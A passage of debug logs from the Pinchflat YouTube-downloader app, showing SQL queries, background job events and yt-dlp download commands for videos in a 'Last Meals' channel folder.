m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:11:43.157 [debug] QUERY OK source="sources" db=0.1ms idle=156.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:11:43.157 [debug] Replied in 1ms 21:11:43.159 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending"} 21:11:43.159 [debug] QUERY OK source="media_items" db=0.2ms idle=158.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:11:43.160 [debug] QUERY OK source="media_items" db=0.4ms idle=158.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:11:43.160 [debug] QUERY OK source="sources" db=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:11:43.160 [debug] Replied in 1ms 21:11:43.162 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 21:11:43.162 [debug] QUERY OK source="tasks" db=0.1ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:11:43.162 [debug] QUERY OK source="media_items" db=0.1ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [19, 21] 21:11:43.163 [debug] Replied in 738µs 21:11:43.163 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 21:11:43.163 [debug] Replied in 82µs 21:11:58.649 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.584 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:02.198 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Sb4rC_hrLHI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2f/13/2f13ef421180b9cd8849a5fa5ffa8597b3c76d1a64facba5cbbdb9d67d796686.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:12:02.209 [debug] Running yt-dlp command for action: download_thumbnail 21:12:02.209 [debug] QUERY OK source="settings" db=0.0ms idle=1151.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:02.209 [debug] QUERY OK source="settings" db=0.0ms idle=1151.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:02.209 [debug] QUERY OK source="settings" db=0.0ms idle=619.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:02.209 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Sb4rC_hrLHI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/19/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a5/f4/a5f44f6bcf69e6abeec63b888c5bede6e7aa9750a0782e10c2b885efd8a550bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:12:04.877 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Sb4rC_hrLHI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/19/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a5/f4/a5f44f6bcf69e6abeec63b888c5bede6e7aa9750a0782e10c2b885efd8a550bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:12:04.877 [debug] QUERY OK db=0.0ms idle=820.2ms begin [] 21:12:04.878 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:12:02Z], "/downloads/Last Meals/2024-07-02 Joseph Gordon-Levitt Eats His Last Meal/Joseph Gordon-Levitt Eats His Last Meal [Sb4rC_hrLHI].mp4", ~U[2026-03-28 01:12:04Z], 19] 21:12:04.879 [debug] QUERY OK source="media_metadata" db=1.6ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/19/metadata.json.gz", "/config/metadata/media_items/19/thumbnail.jpg", 19, ~U[2026-03-28 01:12:04Z], ~U[2026-03-28 01:12:04Z]] 21:12:04.880 [debug] QUERY OK db=0.1ms commit [] 21:12:04.881 [debug] QUERY OK source="media_items" db=0.7ms idle=822.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [573525088, ~U[2026-03-28 01:12:04Z], 19] 21:12:04.881 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:12:04.881 [info] {"args":{"id":19},"id":22,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":196147454,"event":"job:stop","queue_time":1289733345,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:12:04.881 [debug] QUERY OK source="tasks" db=0.1ms idle=824.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:12:04.881 [debug] QUERY OK source="media_items" db=0.1ms idle=287.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 21:12:04.887 [info] {"args":{"id":22},"id":25,"meta":{},"system_time":1774660324887760322,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:12:04.888 [debug] QUERY OK source="media_items" db=0.0ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22] 21:12:04.888 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:12:04.888 [debug] QUERY OK source="tasks" db=0.1ms idle=6.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:12:04.888 [debug] QUERY OK source="sources" db=0.0ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:04.888 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:12:04.888 [debug] QUERY OK source="media_items" db=0.3ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 21:12:04.888 [debug] QUERY OK source="media_items" db=0.0ms queue=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [22] 21:12:04.889 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [22] 21:12:04.889 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:12:04.889 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:04.889 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:04.889 [debug] Running yt-dlp command for action: get_downloadable_status 21:12:04.889 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:04.889 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:04.890 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:04.890 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iHQkWBUAFko --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e1/b9/e1b9660c972a0de9231a09e83cc4ecf208f1f4afef88990640ae713ff6c172f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:12:07.473 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iHQkWBUAFko --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e1/b9/e1b9660c972a0de9231a09e83cc4ecf208f1f4afef88990640ae713ff6c172f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:12:07.473 [debug] Running yt-dlp command for action: download 21:12:07.473 [debug] QUERY OK source="settings" db=0.1ms idle=1416.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:07.474 [debug] QUERY OK source="settings" db=0.0ms idle=1416.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:07.474 [debug] QUERY OK source="settings" db=0.0ms idle=1416.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:07.474 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iHQkWBUAFko --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/61/af/61af05fd661b456f67702243d068a6defa73e8849a09ed753dbbe7a86ecd3694.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:12:14.533 [info] GET / 21:12:14.533 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:12:14.534 [debug] QUERY OK source="settings" db=0.2ms idle=1476.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:14.534 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1476.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:12:14.535 [debug] QUERY OK source="sources" db=0.0ms idle=1477.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:12:14.535 [debug] QUERY OK source="media_items" db=0.3ms idle=923.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:12:14.535 [debug] QUERY OK source="media_items" db=0.1ms idle=478.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:12:14.536 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:14.536 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:14.537 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:14.538 [debug] QUERY OK source="tasks" db=0.4ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:12:14.540 [debug] QUERY OK source="media_items" db=0.3ms decode=0.1ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 21:12:14.541 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:12:14.542 [debug] QUERY OK source="media_items" db=0.7ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:12:14.543 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:14.547 [debug] QUERY OK source="media_items" db=0.4ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) 